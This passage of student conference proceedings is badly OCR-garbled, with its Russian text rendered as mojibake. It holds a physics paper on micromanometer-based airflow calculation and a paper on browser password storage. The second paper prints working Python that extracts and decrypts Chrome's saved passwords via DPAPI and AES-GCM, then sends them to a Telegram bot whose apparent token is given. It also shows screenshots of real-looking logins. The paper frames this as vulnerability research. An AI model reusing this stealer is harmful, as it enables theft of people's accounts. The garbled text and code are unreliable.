O,Z[HOBpeMeHHO YPOBCHb KHUAKOCTU B IMHPOKOM COCYAC OIIYCTHTCS Ha h2. Torna

Pa3HOCTh BHICOT YpOBHEH paboyeil ®UAKOCTU B MPUOOpPE, YPaBHOBEUIUBAIOIIAS U3MEPAEMYIO
BEJIMYUHY, Oy/IeT paBHA:

h=hy +h,. 1)
Ecnu S;u S, - COOTBETCTBEHHO ILIOLIA/lb CEUEHHs HAKJIOHHON TPYOKHU U cOCyAa, TO
IS; = h,S,,
T.€. 00beM IS; KHUIKOCTH, 3aKJIFOYCHHBIN B HAKIIOHHOHM TpyOKe, paBeH 00beMy h,S, KHIKOCTH,

BBITECHEHHOM U3 IIHUPOKOTO CoCcyaa. IloacTaBUB 3TO COOTHOIIEHUE B YpaBHCHHC (1)

h=I- sinoz+i .

Sy

Ecimu p - IIOTHOCTB paboueii )UAKOCTH B KI/M°; § - MECTHOE yCKOpEHHE CBOOOIHOTO

nagenus B M/c?, @ h ul BeIpakeHBI B MeTpax, TO 3HAYEHHE M3MEpAeMOro aaBieHus B Ila
paccYUTHIBAIOT MO hopMmyIe:

P:pgthgl-[sinowi].
S2

S
Ecin —% > 400, To 3HaueHHe MOCTOSHHON IpUOGOpa MOXKET OBITH OMpeienaeHo U 6e3
1
ydera nornpasku. B aTom ciydae:

P = pgh~ pgl-(sin &)

,HI/IHaMI/I‘IeCKOe JaBJICHUEC, CO31aBa€MO€ BO3AYIIIHBIM IIOTOKOM, paBHO:

150



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

2
p_ PeV
2

rae: p, — IUNIOTHOCTb BO3JyXa, V - CKOPOCTb BO3/1yXa, IPU YCJIOBUHU, YTO IOTOK CTPOTrO

napaJiesieH OCH TPYOKH M HalpaBJIeH Ha OTBEPCTHE PHUEMa MOJIHOTO JaBIICHHS.

Jlunamuueckoe JaBiieHHE, CO3[]aBaeMOEe BO3YIIHBIM TOTOKOM, PABHO PA3HOCTH MEX]Y
IMOJIHBIM U CTATUYCCKUM JTaBJICHUCM U YPABHOBCHINBACTCA JaBJICHHUCM CTOHGI/IKa KUJIKOCTH B
Tpyoxe MMH — 2400. /I HEKOTOPOTo yIriila & COOTHOIICHHE UMEET BUI:

3ameHuM K =Sin @ ¥ BBIpa3uM CKOPOCTH IMOTOKA!

v = |20l
P,

)

Hccnenyemas BenuuuHa V B ypaBHEHUH (2) 3aBUCHUT OT:

1. Yckopenust cBOOOIHOTO MajieHus: §, KOTopoe BCieACTBUE (GOPMbI 3€MIIH, B pPa3HbIX
muporax Oyaer oTiudarscs. B nanHoii pabote OyaeT HCHOIb30BAThCs 3HAUEHUE CBOOOHOTIO
najieHus s ropoaa JloHerxka.

2. IInoTHOCTH BO3ayXa O, U CIUPTa O SABJIIAIOTCA (I)YHKI_[I/IHMI/I OT TEMIICPATYPHI.

3. IImoTHOCTB BO3/yXa O, 3aBHCUT OT aTMOC()EPHOrO NaBICHHUS.

[IpunumaeM B ypaBHEHUM (2) yCKOpEHHE CBOOOJHOrO MaJeHHsl Ha IIMPOTE Topoja
Jonenka paBHoe ( = 9,81/14/ c?

Ecnu ecThb |j— HadanbHOE CMEIEHUE CTOJIOMKA IIPU OTCYTCTBUM JaBJICHUS, TOTAA:

V = 29(' _Io)Pk

: )
P

[lepen HauanoM H3MEpPEHUN C TMOMOUIBIO PETYIATOPAYCTAHABIMBAIOT HAuyaJbHOE
CMEIIEHUE MAaKCUMAJIBHO OJIM3KUM K HYJTIO.

Kpome Temmeparypbl, IJIOTHOCTh BO3AyXa 3aBUCUT M OT JaBJICHUSA, OOpaTHO
MIPOMOPIIMOHAIIBHOTO BBICOTE JlabopaTopuu Haja ypoBHeM Mops. [lnoTHocTe BO3myxa
cHmxkaetcs Ha 1% Ha kaxabie 100 metpoB. ['opon JloHelk HaX0IUTCSA HA BBICOTE, IPUMEPHO,
170 M HAg ypOoBHEM MODSI, TOT/Ia MPUHUMAaeM KO3(G(OUIIMEHT MPHU IMIIOTHOCTH BO3yXa PaBHBIM
0,98.

B nuanazone m3Mmenenus tremmneparypsl 14 + 36°C rpaduku 3aBUCUMOCTU TJIOTHOCTH
96% pacTBOpa 3TUIIOBOTO CIUPTA U BO3AyXa OT TEMIIEpaTypbl UMEET BU/I:
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p, K/’ p=f(T)
815
&
™
810
AN
805 \

~
800 N\

790

T, °C

Puc. 2. 3aBucumocTs mWI0THOCTH 96% pacTBOpa CIiUpTa OT TeMIepaTyphl

Ps, KT/M3 pB=f(T)
123
122
121 \

12
119 \\
1,18 \\
1,17

116 \'\
1,15 \«.

1.14

10 15 20 25 30 35 40
T,°C
Puc. 3. 3aBUCHUMOCTB TUIOTHOCTH BO3JIyXa OT TEMIEPaTyphI

ITo rpaduxy, npuBeACHHOMY Ha PUCYHKE 2, allpOKCUMAlUs 3aBUCUMOCTU IUIOTHOCTH
96% pacTBOpa STUIOBOTO CIHMPTA OT TEMIIEPATypPhbl UMEET BUL:

p=-0,0002-T% —0,867-T +8248525
Pe3ynbraT annpokcumanuu 1o rpaguky, IpuBeACHHOMY Ha PUCYHKE 3:
=0,000003 T3 -0,000241 T +1,232737

OrHoneHue ﬁ IMIPUHUMACT BHU:

Pe

p _ —0,0002T*-0867-T +8248525 @
Ps  0,000003 T3 -0,000241 T +1,232737

I'paduk 3aBUCUMOCTH OTHOLIEHHUS IIJIOTHOCTEN K TEMIIepaType MpeCTaBIeH Ha PUCYHKE
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695

690 /
685

680 /

675

670 /

665
/

660

Pr/Pcos

Puc. 4. 3aBucuMOCTh OTHOIIEGHHS IUIOTHOCTH BO3/yXa K INIOTHOCTH 96% pacTBopa criupra OT
Temnepatypbl 1

ANIpPOKCUMHPYsI 3aBUCUMOCTb OTHOLICHMsS IUIOTHOCTEH OT TEMIEpPaTyphl, MOIydaeMm
JIMHEHHYIO 3aBUCUMOCTb:

P o 2.T.136+64378, (5)
p.

rze: A- ko3(GUIMEHT pa3MepHOCTH (rpai ™).

[Tocne noncranoBku B (3):ypaBHeHUs (5), KOPPEKTUPOBAHHOTO 3HAUYEHUS YCKOPEHUS
CBOOOJTHOTO MAaJEHUS M CPEIHEro 3HaueHHs aTMOC(EpPHOro JaBJICHUS, OKOHYATENBHO,
nojy4aeM (GOpMYIy Ui BBIYHCICHHS CKOPOCTH BO3IYITHOTO IOTOKA IO BBICOTE CTOJOWKA
AKHUJIKOCTH B MUKpoMaHomeTpe MMH-2400:

V, =4,47,/k-(1-1,)-(1L36- 1T +643,78)- , (6)

rae: k — 6e3pasmepHbIil K03 PUIMEHT, MapKUPOBaH Ha KOpITyce MUKpoOMaHoMeTpa; | - 1uinHa
cT010a JKUAKOCTH B HAKJIIOHHOH TpYOKe; |y - Ha4aJIbHOE CMEIIEHUE CTOJIOMKA IPU OTCYTCTBUH
nasieHus; 1 - TeMreparypa Bo3jyxa B Ja0opaTopuu, & - K03(pPULIHEHT pa3sMEepHOCTH.

JuHy cronbuka KHUJIKOCTH Ie1eco0Opa3HO 3alMchiBaTh B €AMHULIAX «MM», TOT[a,
OKOHYATEJIbHO:

V, =4,47,/k-(1-1,)-(0.00136- A-T +0.64378) - . 7)

Jl1s O1leHKM MOTpenHOCTH ypaBHEHUS (7) BBIYMCIUM CKOPOCTh BO3JYIIHOTO MOTOKA B
muana3zo”e Ttemmeparyp 15+35°C. OrtHocuTenbHas MOTPEMIHOCTh OINPEAEsIach IO
COOTHOIIEHUIO (8), ee BemnYnHa IPUBEICHA HA PUCYHKE 5!

v
__Pp
5y ==L —*100% 8)
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0,05

. \ 4
12 17 22 27 2 7 42

-0,05
. 4
)
= -0,1 *
=]

0,15 ¢

0,2 *
-0,25
T,°C

Puc. 5. BenmuunHa 0THOCHTENBEHOM MOTPEITHOCTH

BroiBoabl. [loyueHHOE ypaBHEHHE TTO3BOISET BHIYUCIIATH CKOPOCTh BO3YIIHOTO IIOTOKA
C TIOTPENTHOCThIO He Ooiee +0,2% OTHOCUTENLHO TaOJIMYHBIX 3HAYCHHUH IJIOTHOCTHU. T.0., U1
MU3MEPEHHSI CKOPOCTH BO3AYIIHOTO MOTOKAa HEOOXOAMMO U3MEPUTh TEMIIEpaTypy BO3ayXa B
naboparopuu, AJIMHY CTOJIOMKA KUJIKOCTH, CYUTATH M0 MIKale KO3PPHUIMEHT HAKJIOHA TPYOKHU
YW TOJCTaBUTh HAWJICHHbIC 3HAa4YeHUss B ypaBHEeHHE. [Ipn 3TOM crpaBOYHBIE JaHHBIE IO
IUIOTHOCTSIM STHJIOBOTO CIIMPTA M BO3/IyXa HE TPEOYIOTCS.
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CALCULATION OF THE AIR FLOW VELOCITYACCORDING TO THE MICROMANOMETER
MMN - 2400 READINGS

Annotation. The paper describes a method for calculating the air flow velocity calculated from the differential
pressure measured by the MMN-2400 micromanometer. The tabular dependences of the density of ethyl alcohol
and air were approximated by analytical equations, and the obtained ratios and coefficients were linked to
geographical coordinates and converted into an equation that does not require the use of reference data. The
estimation of the error of this method is carried out.

Keywords: micromanometer-2400, air flow velocity, density of air, density of ethyl alcohol, approximation.
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VA3BUMOCTH XPAHEHUWSA ITAPOJIEA B BPAY3EPAX

Kyzomun A. B.
Hayunwui pyxosooumens: baouuesea M.B., cmapwiuit npenooagameis
Ioy BIIO «/IOHHY»

Annomayus: paboTa MOCBSICHA HCCIEIOBAHUIO YSI3BUMOCTH XpaHEHUsI mapojeil B Opaysepax, B xone paboThl
ObLTa U3y4YeHa METOIOJIOTHsI XPaHEHHUS U IIN(PPOBAHKsI aBTOPU3AMUOHHBIX JaHHBIX Opay3epa, Ha mpumMepe Google
Chrome. Paspa6orana mporpammuas peanusanus Ha Python mis c6opa u gemmpoBKY TaHHBIX, XPAHSIIIUXCS B
Opaysepe.

Knioueswie cnosa: 6paysep, MeHeKep MapoJicii, apTopusaiinonnbie nanueie, AES-GCM, DPAPI.

BBegenne. Ha ceroassiiHuii neHp 11000€ B3aUMOJIEHCTBUE C IEPCOHAIbHBIM
KOMIIBIOTEPOM 3aBsizaHO Ha BeO-ceppuHre. OCHOBHBIM AJIEMEHTOM 3TOTO B3aMMOJCHCTBHS
BBICTyNaeT Opay3ep - CHeNHalbHOE MPUKIAJTHOE NPOTPAMMHOE OOECIeYeHHe, KOTOpOe
UCIIONIB3YETCS IS 3ampoca, 00paboTKU, MAaHUITYIMPOBAHUS U OTOOpaXKEHUsI COIepKaHUsI BEO-
caiitoB. CaMbIMH pacrpocTpaHEHHBIMU Opay3epaMu B MUpPE, COIVIACHO CTaTUCTHKE, MOXKHO
cuutarth [1]:

— Chrome — 60.92 %.

- Safari — 25.20%.

— Edge — 4.82%.

— Samsung Internet — 2.66%.

- Firefox — 2.62%.

— Hpyrue — 3.77%.

B pycckosi3pIYHOM NpoCTpaHCTBE B MATEPKY Juaepos BMecto Edge n Samsung Internet
BbIOUBaroTCs YaBrowser u Opera [1].

Pa3znuunble cepBHUCHl MO3BOJIAIOT MOJIb30BATENI0 CO3/aBaTh YYETHYIO 3alUCh ITyTEM
peructpauuu. M TyT BO3HHKaeT HOTPEOHOCTH B CPEACTBAX UICHTHU(DUKAIINY, ayTeHTU(DUKAIIUH,
U JanbHeimel aBTopusauuu. Ilepen monp3oBarenaeM CTOUT 3ajlaya COXPAHEHUS JTaHHBIX IS
BXxoJa (JIOTWH, Mapoiib, MouTa W T.J.) U Opay3ep MO3BOJSIET COXPAaHUTh STU JaHHBIE,
MCIIOJIb30BATh /IS JajbHEHILIEro ynpoumEHHOro BXo1a MyTéM aBTo3anoinHenus. Ho 6ezonacHo
7 3T10?

IMocTranoBka 3agauu. Llenpro naHHON pabOTHI SIBISETCS PACCMOTPEHUE METO0JIOTHHI
XpaHeHHs W IMK(POBaHUS HCIOIB3YEMOM B MeHemXkepe Mmapojiei Opaysepa, KOTOpBIH
COXpaHsieT aBTOpU3allMOHHBIE JaHHbIE Moyb3oBaress. HamucaTe mporpaMMHyI0 peanu3aliuio
Ha s13bIke Python, koTopast mo3Bosnia Ob1 coOpath U eudpPOBaTh JaHHBIC MTOJTH30BATEIIS.

Menexxkep mnapoJeil Opaysepa. be3omacHocTh W yA0OCTBO OOBIYHO TOHSATHUS
IPOTHBOIOJIOXKHBIE,  MOJTOMY  JIOTIOJIHUTENbHAass  O€30MacHOCTh  CONpsKEHa ¢
JOTIONTHUTEIbHBIMU HeyAoOcTBamMu. [laponu sBIsIOTCS OTIMYHBIM MPUMEPOM 3TOro. Bel
MOYKET€e UCIOJIb30BATh OJUH U TOT e MPOCTOM MapoJb JUIsl BCEro, HO OUYEBUIHO 3TO HE OyAeT
0e30MacHbIM.

CeroHsi 0O4eHb MHOTO CalTOB, KOTOpbIE TpeOYyIOT aBTOpU3AlUU MOJb30BaTensd. Jis
3TOr0 BBl CHaydaja JIOJDKHBI 3apETMCTPUPOBATHCA, a MOCIE IPHU KaXKJIOM BXOJE MOCTOSIHHO
MOJTBEPK/IaTh CBOM JIAHHbIE — BIMCHIBATh JIOTUH U Mapoib. MOXKHO UCIOJIb30BATh (DYHKITHIO
«ABTOCOXpaHEHHEY, C IOMOILIBIO KOTOPOI BalllM EPCOHAIbHBIE JaHHBIE COXPAHSIOTCS U NIPU
MOTNBITKE CHOBA BOMTH HA OJWH W3 CAalTOB C aBTOPH3allMEH, MOATIATUBACT MH(POPMAIHIO O
JIOTUHE W MapoJjie, B pe3ylbTaTe€ YEro MPOU3BOAUTCS ABTOMAaTHYECKHM BXOA. DTO OUYEHb
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y100HO, HE HYKHO Ka)KIbIi pa3 BBOAUTH CBOM perucTpanvoHHble AaHHble. Ho eciu Gpaysep
COXpaHseT MapoJiv, TO MOKHO JI UX TIOCMOTPETH U Tae?

BonpmmHcTBO Opay3epoB XpaHAT JAaHHbIE ABTO3AIOJIHEHUS JUIsl aBTOPHU3alMU B
«Menemxkepe naposeit» (puc. 1). OObIYHO 3TO JOKaNbHBIC (aliiIbl, KOTOPBIE HAXOIATCA Ha
ycrpoiictBe. JlocTyn kK TakoMy (ailiny mosiyduTh JocTaTodyHo Jerko. Ho ams mpocmotpa
COXpaHEHHBIX MapoJiei He 00s13aTeIbHO UCKATh TaKOW (haili.

<« MeHepxep naponeﬁ @ Q, Mowuck naponen

CospaBsaiiTe, coxpaHaiTe U U3MeHANTe Naponu. BbICTpbIi AOCTYN K HUM NO3BONUT BaM NErKo BXOAWUTL B
aKKayHTbl Ha calTax 1 B NPUIOKEHNAX.

lNpennaratb coxpaHeHwe naponei &)

ABTOMaTUYeCKMIA BXOA
ABTOMAaTUYECKN BXOAWTL Ha CATbl U B NPUIOXEHWS C NOMOLLbIO COXPaHEHHbIX YY4ETHbIX AaHHbIX. D
Ecnu dyHKums oTKN0MEHa, cucTemMa ByeT 3anpawmsaTb NOATBEPXKAEHUE NPU KAaXA0M BXOAE.

MpoeepuTb Naponun
2 packpbITbIX napons

LWndpoeaHue Ha ycTpoicTee
B uensx nosbiweHns 6e3onacHoCcTH WK(PYATe Naponu Ha yCTPOMCTBE, NpeXxae 4em oHu byayT A
coxpaHsTbes B MeHekepe naponei Google.

CoxpaHeHHble naponu Aob6aeuTb
Caut Wmsa nonbsoeatensa Maponb
@  ..th.services.adobe.com cessescnss ®
@ wallet.advcash.com ssessssnss ®

Pucynok 1 — Menemkep napouteii 0paysepa Google Chrome

B mactpoiikax 6e3omacHOCTH JIOOOTO Opay3epa MOXHO MPOCMOTPETH CIUCOK BCEX
COXpAaHEHHBIX JIOTHHOB. TakWM TMPOCTHIM CIOCOOOM TOJY4YeHHsS TMapoyied MOTYT
BOCTIOJTb30BAThCS 3JI0YMBIUICHHUKH.

Jloru4HO MPEnrnoNoXuTh, YTO TOTOBas CTaHAapTHas (pyHKIUS momyaspHOro Opaysepa
JOJDKHA OBITH JOCTaTOYHO OE€30MacHOM, OJJHAKO OHa HeOe3omacHa Mo ompejaeneHuro. [laxe
HECMOTpPS Ha TO, YTO BCE COBPEMEHHBIC Opay3ephl XpaHAT Mapoiu B 3amu(poBaHHBIX 0a3zax
JAHHBIX, OHU OCTAaBJISIOT CBS3aHHBIC KIFOYH IMMU(POBAHUS COBEPIICHHO HE3AMUIIEHHBIMU U
XpaHAT UX B Mpeackazyembix Mectax. [lludpoBanue 6ecrone3Ho, eciy KIIoUd He 3alHIIEHBI.
3amuppoBanHas 0aza JaHHBIX MEHEDKEpa Maposieidl ¢ HEe3al[UIIEHHBIM KIIYOM He
MPEAO0CTaBIIAET HUKAKOW 3HAYUMOM 3aIUTHI Tapossm [2].

N3-3a aTOr0 Opay3epHOro pelieHus, eCIi KTO-TO CMOKET MOMYyYUTh JOCTYII K CHCTEME
MOJIB30BATE/IS MPU TOMONIM (DHUITMHTA, BPEJOHOCHOW MPOTpaMMBI HIIM JIFOOOTO JIPYroro
AKCIJIONTA, TO OH C JIETKOCTHIO M3BJICUET BCE UMEHA TOJIh30BaTENIeH U ApOIIH, XpaHSIIHeCs B
Opayzepe. B nmannoii pabore paccmorpen Google Chrome, Ttak kak 3T0 camblii
pacmpocTpaHeHHBIN Opay3ep Ha CETOAHSIIIHUN JICHb.

Xpanenue, mudposanue u Aemmpposka. Ham n3BecTHO, YTO JaHHBIE XpaAHATCSA Ha
KOMITBIOTEPE, CIIEI0BATEILHO MX MOKHO HAWTH U MCIIOIH30BATh BO BPEJl MOJI30BATEINIO.

Wudopmanus asropuzanuu Google Chrome xpanstcs B ciaeayromem daiie:
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C:\Users\<name_user>\AppData\Local\Google\Chrome\User Data\Default\Login Data

Hannenii ¢aitn umeer gopmatr SQLITE3 u BocmonsizoBaBmmuce [1O mis paboTsl ¢
6azamu manubix SQl (SQLite, Sqliteman u mpouwe) Mbl OTyYUM 0a3y JaHHBIX aBTOPH3AIMH
nosib3oBatens (puc. 2). JIoruHbl XpaHSATCA B OTKPBITOM BHJE M HaM OCTa€TCs TOJIBKO
nemudpoBaTh Mapoiu.

Hns  pemmdpoBkd  HaM  moHagoOurcs  32-0aliTHBIM  KIIOY — MIUQPPOBaHUA
«encrypted key», KOTOpBI XpaHUTCS B CIeAyOIIeM Qaiiie:
C:\Users\<name_user>\AppData\Local\Google\Chrome\User Data\Default\Local State

Structure | Data | Constrants | Indexes | Triggers || DOL
Grid view Form view

B -0 2680 CQ: 00 & XX > - Tr ~ Total rows loaded: 12

origin_url acto username_el username_value password_elemes password_value s
1 https//idvk.com/auth ht.. username 3307147 password vI0@ TGO OICY-VQEY-P1{|09.
2 https://mail.ru/ ht.. username  andrekuzminlS@...  password \;1560.8"0.0.:-63<000',00V0:lI10... ‘
3 https://vk.com/ ht.. username 3807147 password vI0@dLeEl..
4 https://login.live.com/login.sef ht loginfmt dworkinfromchaos... passwd leQvZ— S
5 https://account.protonvpn.com/... hl username  DworkinfFromChaos  password V10‘03)10030007E3 .
6 i'mps:/."com~x.l:fr_"comx ht... login_name dworkin login_password led‘SOOO i
7 https://store.steampowered.com/...  ht.. dworkinfromchaos vingé ..
8 ‘hm':',:v:':'steamcommumty.com/Iog|... ht... dworkinfromchaos v10000ﬂ0h0>0.000040000
9 ;lnps:f:"passpcrt.yandeuu:’auth.",.. ht.. login and-re kuzmin passwd v10 ..
10 hn;')s://'2019hackerdom‘ru:'teams."... ht.. login DworkinFromChaos  password \110000-0JI.QIZOQS.iO-hWQDlQUR
1 imp:/‘V,"dl.dcnnu.ru/!ogln./mdcx.php ht.. usemame akuzmin password V099,900 1000K9portToduc..
12 https://github.com/session ht.. login andre.kuzminlS@... password v1.0‘0'0‘£6i06:009:05'00f0070>0...

Pucynok 2 — baza naHHBIX aBTOpHU3alUU

Kirou «encrypted_key» sakogupoBan B base64, u 3ammmién npu momoinu Data
Protection APl. DPAPI o3nauaet uHTepdeiic MPUKIATHOTO TPOrPAMMHUPOBAHHMS JUTS 3AIUTHI
JAHHBIX, W O3TO BCTpoeHHass ¢yHkuusa Oe3zomacHoctH Windows, wucnoib3yeMas JUis
mU(ppPOBaHUs TOJIb30BATEIbCKUX JaHHBIX M IMapojeil. JTo Oe30macHbli crnocod XpaHEHHs
napoJieil, TOCKOJIbKY JaHHbIE MUPYIOTCS C UCIOIb30BAHNEM YUETHBIX JJAHHBIX IOJIb30BaTENs
st Bxoga B Windows. BakHO MOMHHTB, 4TO, €CJIM KTO-TO UMEET AOCTYI K KOMIIBIOTEPY, OH
BCE PaBHO MOXKET pacHIM(poBaTh JaHHbIE. 3IIOYMBIIUICHHUK MOXET IMOMbITAThCS 3aM0IyYUTh
KIIIOYU MHU(poBaHUS U paclIMppoBaTh JaHHbIE AaKe€ HA APYroM KommbioTrepe. OJHaKO BHE
KOMIIbIOTE€pPA, HAa KOTOPOM MPOUCXOAMIO MU(poBaHME WM Oe3 Kiaroued mudpoBaHus
BBITSIHYTh JIaHHBIE HE MOJIYYHTCS.

HIndpoBanue faHHBIX aBTOpU3aLMK osIb30BaTels B Google Chrome peann3oBaHo npu
nomoutn AES-GCM. J[lannbsie password value XxpaHsaTcs B Ture JAaHHbIX blob, dro
NoJpa3yMeBaeT MAacCHB JIBOMUHBIX JaHHBIX. Ecim Bocmosb3oBaThest hex-penakropom, TO
MOXHO YBHJETb CUTHATYpy «v10» (puc. 3), koTopasi Kak pa3 Taku ykasbisaeT Ha AES-GCM.

\_, Edit value
[T Null value
Hex | Text | Image Ve
kO ce 54 c7 a7 99 83 31 43 59 7e 39 56 a0 | v10.T....1CY~9V.
d 7a 50 02 7b 7c 85 a0 0d dO £f9 d5S bd 50 | B.-zZ2P.{]|.cccec. P

f2 df bb 5e 8z D < TP

Pucynoxk 3 — 3amm¢ppoBanHsIii maposs B heX-penakrope

B o0rmieM Buzie CTpyKTypa JaHHOTO MH(poTeKcTa OyneT uMeTh BU (puc. 4):
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12 Ganr 16 Gait
"v10" IV - BEKTOp MHWUWANU3AUNK 3awudposaHHble
. - Ter ayTenTudgmKaummn nonesosarens
magic (oaHopazoselit HoMep) AaHHble

Pucynok 4 — Ctpykrypa 3amudpoBaHHOTO TapoJIst

Takum oOpa3oM u3 mapoiss Mbl IOJIY4aeM BEKTOpP WHUIMAIM3ALIMM U caM
3amm@poBanHblid mapoib. AES — 310 kpunrorpadgusi ¢ CAMMETPUYHBIM KITFOUOM, B KOTOPOM
UCIOJb3YeTCsl OAMH U TOT K€ KIII0Y Kak A mudpoBaHus, Tak U uid gemudpoBaHus. Mbl
MO>KEM HCIOJIB30BAaTh 3aM(POBAHHBIN KIIIOY, TOTYYeHHBIH U3 daiina «Local State» 1 BekTop
MHUIMAIU3alK1, KOTOPbIe Mbl OOHApYKWIH, 4YTOObI MOTy4uTh Kitod AES. Jlns 3Toro MokHo
BOCIIOJIb30BaThCs MOAYJIeM Juis si3bika Python PyCryptodom.

IIporpammuas peasm3anusi. {7151 mporpaMmHOi peanu3anuu ObL1 BeiOpaH Python.
Python — 310 oTaMuHBI A3BIK I PAaOOTHI ¢ KPUNITOrPaGUISCKUMH AITOPUTMAMH, TOCKOJIBKY
3TO SA3BIK BBICOKOT'O YPOBHS, KOTOPBIH JIerko 4uTaTh U noHumarts. Kpome Toro, Python umeer
IIUPOKUN CHIEKTp OMOIMOTEK W cped st paboTel ¢ kpunrorpadueii, Takux kak PyCrypto,
Cryptodome u Cryptography. Otu OubauMOTEeKHM 00eCHeuuBalOT HaJAEKHbIE pealu3alun
Pa3IMYHBIX KPUNTOTPAPUUECKIX AITOPUTMOB, 00Jerdas padoTy ¢ HUMHU.

[TepBoHayaibHO HaM HEOOXOIUMO COOPaTh U CUCTEMATU3UPOBATh UCKOMBIE JaHHBIE.
JU71st 5TOr0 HaM MOHAT00MTCS TOIKITFOUUTCS K (ailiry 6a3 JaHHBIX U CIENaTh 3arpoc. B nanHoM
cityyae Koj OyJieT UMeThb BUJI, IPE/ICTaBICHHBIN Ha PUCYHKE 5.

def login_data():

data_path_to_data = os.path.expanduser('~"') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data’
shutil.copy2(data_path_to_data, "personal_data.db™)

bd = sqlite3.connect("personal data.db")

cursor = bd.cursor()

select_statment = 'SELECT origin_url, username_value, password_value FROM Logins

cursor.execute(select statment)

login_data = cursor.fetchall()

bd.close()

os.remove("personal data.db™)

return login data

Pucynok 5 — @ynkius s cOopa aBTOpU3ALMOHHBIX TaHHBIX

Taxke B Qynkuuu login_data mpoucxoauT komupoBanue (aiina 0a3 JaHHBIX, ITO HE
O6$I33.TCHBHO, OJHaKoO, €CJIIN 6pay3ep 6y,HeT OTKPBIT, TO MOAKIIIOUYUTHCA K baze JaHHBIX HEC
IMOJIYYHUTCH, HCHOJb3YyCTCA, YTOOBl HCKIIOYHTH HOJIO6HI>II>1 HCXona. ITocne c60pa JaHHBbIX,
CO3I[8.HHBII\/'I (I)aﬁn 6yz[eT Cpa3y K€ yAaJICH U 3aMCTUTD €TI0 HC ITOJTYUUTCA.

Jlanee HaM HY)KHO 3anOyduTh «encrypted_key» u cHsthb ¢ Hero mpotekt DPAPI (puc.
6):

def secret_key():
data_path_to_secret_key = os.path.expanduser('~") + r'\AppData\Local\Google\Chrome\User Data\lLocal State’
with open( data_path_to_secret_key, "r", encoding='utf-8') as f:
secret_key = json.loads(f.read())[ 'os_crypt’'][ encrypted key']
secret_key = base6d.beddecode(secret_key)[5:]

secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 8)[1]
return secret_key

Pucynok 6 — ®ynkius 1iis mosryueHust «encrypted_keyy

Tenepb, MOKHO MPUCTYMUTH K JIeMU(POBKE JaHHBIX (pHC. 7):
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def decoding_data():
for data in login data():
url,login,password = data[e],data[1],data[2]
initialisation_vector, encrypted password = password[3:15], password[15:-16]
cipher = AES.new(secret key(), AES.MODE_GCM, initialisation_vector)
decrypted pass = cipher.decrypt(encrypted password)
decrypted _pass = decrypted _pass.decode()
print("Url: "+ str(url)+"\nLogin: "+str(login)+"\nPassword: "+str(decrypted pass)+"\n")

if _name__=='_main__ ":
decoding_data()

Pucynok 7 — @yHkuus ai1st 1emnpoBKH aBTOPU3AIMOHHBIX JAHHBIX

[ocne 3amycka nporpaMmsbl OJTy4aeM Jem(ppOBaHHBIE JIOTUH U Maposib (puc. §):
Url: http://dl.donnu.ru/login/index.php
Login: a.kuzmin
Password: its joke

Pucynok 8 — JlemmdpoBaHHbIe JaHHbIE

[To cyTtu, 3a1aua BIMOJIHEHA, HO TAKXKE MOKHO JJ00aBUThH B peaIN3alli0 BO3MOKHOCTh
MEPECHUIKH MOTYYSHHBIX JaHHBIX (puUC. 9).

token = '5999816564: AAEwdRSvgLHSeSoRdtWFhzt8glAFgNH_-KA®
bot = telebot.TeleBot(token)

data = "Url: "+ str(url)+"\nLogin: "+str(login)+"\nPassword: "+str(decrypted_pass)+"\n"

bot.send_message(1 647, data)

Pucynok 9 — PacimdpoBannbie nanHbie oTnpasisitores Telegram 6oty

Tenepsp Bce pacuippoBaHHbIE JaHHbIE aBTOMAaTUYECKH NepenuttoTes Telegram 60Ty, KOTOpbIi
OBLT crienMaibHO co3aaH g atoro (puc. 10).

Url: h
Login: a.kuzmin
Password: its_joke

Url: h

Login: : ail.ru
Password: time_to_admire

Pucynoxk 10 — ITony4ennsie qannsie B Telegram

Takum oOpa3oM yaanoch HaWTH, ACMHU(PPOBaTh U B KOHEYHOM MTOTE 3aroIydyUTh
aBTOpU3ALIMOHHBIE JaHHbIE Opay3epa, XpaHsIuecss Ha KOMITbIOTepe.

BbiBoabl. B xone BeimonHeHNs paboThl ObUT pa3paboTaH CKPUNT, peaau3youui coop
U 1emn(poBKy aBTOPU3AaLMOHHBIX JaHHBIX U3 Opay3epa. Ckpunt Obut Hanucad Ha Python 3.11.
OKCHEpUMEHTBI NMOATBEPAKAAIOT, YTO BO3MOXHA Kpa)ka JAHHBIX IOJIb30BATENs MPU MTOMOIIU
ySI3BUMOCTH XpaHEHHUs naposiel B Opay3epax. 3II0yMBIIIIIEHHUK MOXET HH(ULIUPOBATH KaKoe-
au0o0 mporpamMmHOe oOecreyeHne MOJOOHBIM CKPUITOM JJIsi NepexBaTra KOHTPOJS Haj
aKKayHTaMH, TEM CaMbIM CO3/1aBasi OACHOCTb JUIs OJIb30BaTEII.

Jlns  mpenoTBpalleHuss  MOAOOHOTO  IMOJIb30BaTe€lb  MOXKET  BOCHOJIB30BATHCSA
CHeIHaIM3UPOBAaHHBIM MPOTPAaMMHBIM OOecrieueHueM JUIsl coxpaHeHusl maposis. Taxke He
CTOUT JIOIyCKAaTh BO3MOKHOCTH CTOPOHHEIO JOCTyla K IEPCOHAIBHOMY KOMIIBIOTEPA M
H0JIb30BATHCS UCKIIIOUUTENBHO JUIEH3MOHHBIM [10.
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VIK 336.743
METO/bI 3AIIIATHI OT HECAHKIIMOHUPOBAHHOI'O MAMHUHT A

Kynaxos /1. C.
Hayunuiit pykosooumens: baouueea M.B., cmapuwiuii npenooagamens
Ioy BIIO «/IOHHY»

Annomayusi: paboTa TOCBAIICHA pa3pabOTKEe U HCCICIOBAHUIO KPUITOrpadUUECKUX CBOWCTB OJOKYCHHA U
npoBeieHUe atak 51% W aTaku NBOMHOrO pacxomoBaHus. Pa3paboraHa mporpamma, JEMOHCTPHPYHOIIAs
ApPXUTEKTYpy OJIOKYEHH, MO3BOJSIOIIAS YIPABIATh TPAH3AKIHUAMH, UCIOJIB30BATh 3JCKTPOHHBIC MOIMHCH U
MPOBEPATh BepU(UKAINIO OJOKOB M TpaH3akiuil. B mporpaMmy WHTETpUPOBaH U MPOTECTHPOBAH aJrOPUTM
Proof-of-Work, npuMeHeHBI Ha MpPaKTHKE pasiduHbIE AJTOPUTMBI, 3alIMIIAIOIIAE OJOKYEHH OT M3MEHEHUH U
